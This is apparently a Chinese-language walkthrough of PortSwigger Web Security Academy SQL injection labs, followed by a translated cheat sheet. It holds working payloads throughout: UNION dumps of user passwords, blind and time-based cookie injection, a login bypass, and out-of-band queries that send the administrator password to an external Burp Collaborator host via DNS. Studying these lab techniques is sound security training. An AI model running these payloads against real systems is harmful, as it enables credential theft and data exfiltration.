burp靶场之SQL注入

题目

1 SQL injection UNION attack, determining the number of columns returned by the query

主要就是2个接口的参数问题:

1
2
web-security-academy.net/filter?category=Gifts
web-security-academy.net/product?productId=2

简单试了一下发现productId限定了输入只能是数字,category这里简单测试发现1个单引号报错,2个正常,所以问题就是这里了,结合页面上的有个登录界面,所以就是注入拿密码了。

题目的意思这里是要判断列数,使用Gifts' order by 3 --%20 找到一个报错临界数,这里确定了是3 。但是运行之后没有提示 solved ,所以猜测还得是要Gifts' union select 1,2,3 --%20 来判断当前哪一个是显示位,但是这里直接这样跑会报错,因为限制了传参的数据类型, 同时结合,所以可以这样Gifts' union select null, null,null --%20 然后一位位的去测试传参类型,但是直接运行就提示 solved 就不用继续了。

2 SQL injection UNION attack, finding a column containing text

跟上面一样,题目提示需要显示数据库名字'la0vYE',一位一位的将null替换为'la0vYE'即可

Pets'union select 1,'la0vYE',2 --%20

3 SQL injection UNION attack, retrieving data from other tables

这里需要从user表里取usernamepassword,然后登录administrator就算通过。首先判断列数,发现这里变成 2 列了,直接使用Pets'union select username,password from users--%20 即可在回显中看到用户名密码,没做处理直接登录即可。

4 SQL injection UNION attack, retrieving multiple values in a single column

这里限制了只能在一列里面完成查询用户名和密码,经过测试发现还是2列,但是第一个位置被限定了只能是null或者数字,所以就得在第 2 列里面操作,我这里通过 2 次操作,一次查账号,一次查密码的方式完成

1
2
Gifts'union select 1,username from users --
Gifts'union select 1,password from users --

但是却发现这里2次查询展示的行数并不一样,导致这里出现了错位,因为这里行数少可以一个个的尝试,但是在行数过多的时候就不行了,题目答案的的建议是使用 || 作为连接符进行查询:Gifts'union select 1,username||123||password from users --

5 SQL injection attack, querying the database type and version on Oracle

这里数据库换成oracle了,查询有一定的变化,不管是什么查询都得指定表,在不知道表名的情况下可以指定DUAL这个默认生成的表。还是先用order by 判断列数,然后判断传参位置:

1
Lifestyle' union select null,null from DUAL--

题目提示需要输出数据库的版本信息,因此可以使用oracle查询版本的语句:

1
2
SELECT banner FROM v$version
SELECT version FROM v$instance

最终的payload为:

1
Lifestyle' union select 'a',banner from v$version--

6 SQL injection attack, querying the database type and version on MySQL and Microsoft

跟上面类似,Microsoftmysql查询版本信息的语法是 SELECT @@versionpayload为:

1
Lifestyle'union select null,@@version--

7 SQL injection attack, listing the database contents on non-Oracle databases

这里是获取非oracle数据库内容,主要是利用 information_schema

1
2
3
4
5
Gifts'union select 'a',table_name from information_schema.tables--
Gifts'union select 'a',column_name from information_schema.columns where table_name='susers_qwlcld'--
Gifts'union select '1',column_name from information_schema.columns where table_name='users_qwlcld'--
Gifts'union select username_rqnhvr,password_ypazrp from users_qwlcld--

8 SQL injection attack, listing the database contents on Oracle

这里是获取oracle数据库内容,主要是利用 all_tablesuser_tables

1
2
3
4
Lifestyle'union select 'a',table_name from all_tables--  //使用all_tables返回的数据太多
Lifestyle' UNION SELECT table_name,NULL FROM user_tables-- //换个思路直接用user_tables
Lifestyle' UNION SELECT null,column_name FROM all_tab_columns WHERE table_name='USERS_VIJFNK'--
Lifestyle' UNION SELECT USERNAME_YXHFCR,PASSWORD_RLBANQ FROM USERS_VIJFNK--

9 Blind SQL injection with conditional responses

这里题目提示的是cookieboolean型注入,需要找到users表里administratorpassword,查询的正确与否可以直接通过返回字节长度来判断。

1
2
3
4
5
TrackingId=1G' union select null from users where username='administrator' --%20
//判断password长度,可以使用爆破模块
TrackingId=1G' union select null from users where username='administrator' and length(password)=20--%20
//使用substring爆破密码内容
TrackingId=1G' union select null from users where username='administrator' and substring(password,1,1)='a'--%20

10 Blind SQL injection with conditional errors

这里还是cookie注入,但是没有了回显,只有进行错误运算的时候才会到错误页面。这就需要用到 if 了。题目没有说明数据库类型,所以得自己试一下。

1
2
3
4
5
6
7
//使用查询版本的语句来判断类型
TrackingId=bf' union SELECT version FROM v$instance--%20
//使用case when来进行判断,当WHEN后面的条件为真,则会执行THEN 后面的 1/0 报错
TrackingId=bf' union SELECT CASE WHEN (1=2) THEN to_char(1/0) ELSE NULL END FROM dual--%20
TrackingId=bf' union SELECT CASE WHEN (username='administrators') THEN to_char(1/0) ELSE NULL END FROM users--%20
TrackingId=bf' union SELECT CASE WHEN (username='administrator' and length(password)=19) THEN to_char(1/0) ELSE NULL END FROM users--%20
TrackingId=bf' union SELECT CASE WHEN (username='administrator' and substr(password,1,1)='a') THEN to_char(1/0) ELSE NULL END FROM users--%20

11 Blind SQL injection with time delays

延时注入,这里的数据库是PostgreSQL,所以得用 pg_sleep

1
TrackingId=x50'||pg_sleep(3) --%20

12 Blind SQL injection with time delays and information retrieval

跟上面一样,postgresql的时间注入

1
2
3
4
5
TrackingId=DS'%3Bselect pg_sleep(2)--%20
TrackingId=DS'%3B SELECT CASE WHEN (1=1) THEN pg_sleep(2) ELSE pg_sleep(0) END from users--%20
TrackingId=DS'%3B SELECT CASE WHEN (username='administrator') THEN pg_sleep(2) ELSE pg_sleep(0) END from users--%20
TrackingId=DS'%3B SELECT CASE WHEN (username='administrator'and length(password)=20) THEN pg_sleep(2) ELSE pg_sleep(0) END from users--%20
TrackingId=DS'%3B SELECT CASE WHEN (username='administrator'and substring(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END from users--%20

这里因为靶机延迟太高,我把sleep设成15s都会出现误报,所以没有跑最终的结果。

13 Blind SQL injection with out-of-band interaction

使用oracledns注入语法即可:

1
TrackingId=58%27union%20SELECT%20extractvalue%28xmltype%28%27%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE%20root%20%5B%20%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3A%2F%2F9jtu91tq2irjgipu6g6co2n89zfr3g.burpcollaborator.net%2F%22%3E%20%25remote%3B%5D%3E%27%29%2C%27%2Fl%27%29%20FROM%20dual--%20

14 Blind SQL injection with out-of-band data exfiltration

跟上面相比多了查询拼接的操作

1
TrackingId=cx'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.8nwqgp53raenhoqpawxp2pkxroxel3.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--%20

从dns的解析即可获取到对应的密码

15 SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

where注入,这里跟最开始一样,输入 Accessories'or 1=1 --%20 即可

16 SQL injection vulnerability allowing login bypass

万能密码,账号正常输入 administrator ,密码输入 'or '1'='1 即可

总结

首先判断数据库类型之后根据具体场景进行对应的操作,这里burp官方给了一个check sheet可以很好的参考:https://portswigger.net/web-security/sql-injection/cheat-sheet ,以下是自己做的简单翻译版本:

SQL injection cheat sheet

This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.

字符串拼接

可以将多个字符串拼接形成一个字符串。

You can concatenate together multiple strings to make a single string.

| Oracle | 'foo'||'bar' |
| :——— | ———————————————————- |
| Microsoft | 'foo'+'bar' |
| PostgreSQL | 'foo'||'bar' |
| MySQL | 'foo' 'bar' [注意字符串之间的空格] CONCAT('foo','bar') |

子字符串

在一些场景需要使用取子字符串的时候就可使用以下函数,偏移量的基础值是 1,下面的实例取出的值是 ba

You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.

Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQL SUBSTRING('foobar', 4, 2)
MySQL SUBSTRING('foobar', 4, 2)

注释语法

使用以下注释语法来注释掉原始语句后面的内容以免报错

You can use comments to truncate a query and remove the portion of the original query that follows your input.

Oracle --comment
Microsoft --comment/*comment*/
PostgreSQL --comment/*comment*/
MySQL #comment -- comment [注意 – 后面有个空格]
/*comment*/

数据库版本信息

获取数据库的版本信息,在进行进一步利用时很有帮助

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

Oracle SELECT banner FROM v$version;
SELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

获取数据库内容

列出数据库中存在的表以及这些表包含的列。

You can list the tables that exist in the database, and the columns that those tables contain.

Oracle SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

布尔注入

通过测试一个布尔条件,如果条件为真则触发错误。

You can test a single boolean condition and trigger a database error if the condition is true.

Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

堆叠查询

使用堆叠查询来连续执行多个查询。在执行后续查询时,结果不会返回给应用程序。因此,此技术主要用于盲注,使用第二个查询来触发DNS查找,使其报错或时间延迟。

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

Oracle Does not support batched queries.
Microsoft QUERY-1-HERE; QUERY-2-HERE
PostgreSQL QUERY-1-HERE; QUERY-2-HERE
MySQL Does not support batched queries.

时间延迟

你可以使用一个查询语句来造成数据库处理延迟。以下情况将导致10秒的无条件时间延迟。

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT sleep(10)

有条件的时间延迟

您可以测试单个布尔条件,并在条件为真时触发时间延迟。

You can test a single boolean condition and trigger a time delay if the condition is true.

| Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |
| :——— | ———————————————————— |
| Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
| MySQL | SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') |

DNS查询

利用数据库对外部域执行DNS查找。为此,您将需要使用Burp Collaborator客户端生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以确认是否发生了DNS查找。

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

Oracle 下面这种XXE攻击可以触发dns查询,这个属于oracle的一个漏洞,目前仍有部分未修补该漏洞,也就是说实际场景可能并无法利用
The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence: SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual The following technique works on fully patched Oracle installations, but requires elevated privileges: SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
Microsoft exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
PostgreSQL copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
MySQL 下面这种方式只存在于windows环境:
The following techniques work on Windows only: LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a') SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

DNS带外查询

使数据库对包含注入查询结果的外部域执行DNS查找,可以利用dns解析记录获取sql查询的结果。

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

| Oracle | SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual |
| :——— | ———————————————————— |
| Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"') |
| PostgreSQL | create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f(); |
| MySQL | 下面这种方式只存在于windows环境:
The following technique works on Windows only: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |